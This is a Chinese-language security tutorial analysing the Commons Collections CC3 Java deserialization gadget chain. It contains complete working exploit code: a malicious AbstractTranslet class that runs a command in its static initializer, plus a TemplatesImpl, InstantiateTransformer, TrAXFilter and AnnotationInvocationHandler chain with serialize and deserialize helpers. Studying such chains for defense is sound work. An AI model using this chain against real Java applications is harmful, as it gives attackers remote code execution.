Java反序列化CommonsCollections篇CC3-另一种执行方式
前言
相较于CC1,CC3改变了执行类,可以进行任意类加载,代码执行应用更加广泛。
CC3链分析
执行类
在基础篇中提到,类动态加载的核心在于defineClass方法。

这个方法做的事情就是由字节码加载为java对象,也就是类加载。但是这个方法是protected修饰的,不能直接被包外的类调用,需要逆向找谁调用了它。

可以看到在Templateslmpl类中调用了,这里没写类型默认是default,只能在当前包中调用,继续往上找。

可以看到在该类的defineTransletClasses方法中调用了,还是protected,继续找

在该类的getTransletInstance方法中调用了。其实这里找到了三个方法,为什么选择这个呢?
因为执行静态代码块需要满足两个条件,类加载与初始化。而这个方法中对_class初始化了,所以我们需要将链走到这里。这个还是私有的方法,继续往上找,看谁调用了它。

终于找到public方法,先写个代码测试一下能不能执行。
测试
在getTransletInstance中,我们的目的是要走到defineTransletClasses,所以_name不能为空_class要为空,继续往里走

这里的_bytecodes不能为空,是一个二维数组,里面存的是恶意类的字节码。

_tfactory属性不能为空,因为它需要调用某个类的函数。

但是它是由transient修饰的,不能序列化,那怎么办?链子是不是走不通了。

其实在readObject方法中对这个属性赋值了。

代码
package com.LE0;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class CC3 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"LE0");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\code\\java\\Evil.class"));
byte[][] codes= {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
templates.newTransformer();
}
}
但是报了个NullPointerException,动调一下。
这里其实类已经被加载了,但是因为父类不是ABSTRACT_TRANSLET,进入了else报错了。

那直接继承这个类就行了

完整恶意类,这里还得实现两个抽象方法
package com.LE0;
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
public class Evil extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
重新编译运行,替换class文件,成功弹出计算器

调用链

但是实际情况下有可能过滤了InvokerTransformer,所以还得找其他链子,继续找谁调用了newtransformer。
找到了TrAXFilter,但这个类是不能序列化的,我们只能在它的构造方法中赋值调用。CC3链作者用到了InstantiateTransformer这个类。重点在于它的transform方法。

它会调用任意类的构造函数,可以解决上面类不能实例化的问题。只要调用了InstantiateTransformer类的transform方法,就可以任意代码执行。接下来找入口类,和cc1的相同,相较于cc1链,它就是把InvokerTransformer类替换成这个类了。而入口类还是AnnotationInvocationHandler

代码
package com.LE0;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import javax.xml.transform.Templates;
import javax.xml.transform.TransformerConfigurationException;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws TransformerConfigurationException, NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"LE0");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\code\\java\\Evil.class"));
byte[][] codes= {code};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
// templates.newTransformer();
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// instantiateTransformer.transform(TrAXFilter.class);
HashMap<Object, Object> map = new HashMap();
map.put("value", "value");
Map<Object, Object> transformedmap = TransformedMap.decorate(map, (Transformer)null, chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object obj = declaredConstructor.newInstance(Target.class, transformedmap);
// serialize(obj);
deserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
oos.writeObject(obj);
}
public static Object deserialize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(Files.newInputStream(Paths.get(filename)));
return ois.readObject();
}
}
总结
这几条CC链其实就是不同板块方法的排列组合。相对于前面分析的CC1和CC6,可以进行任意代码执行,更灵活了。


浙公网安备 33010602011771号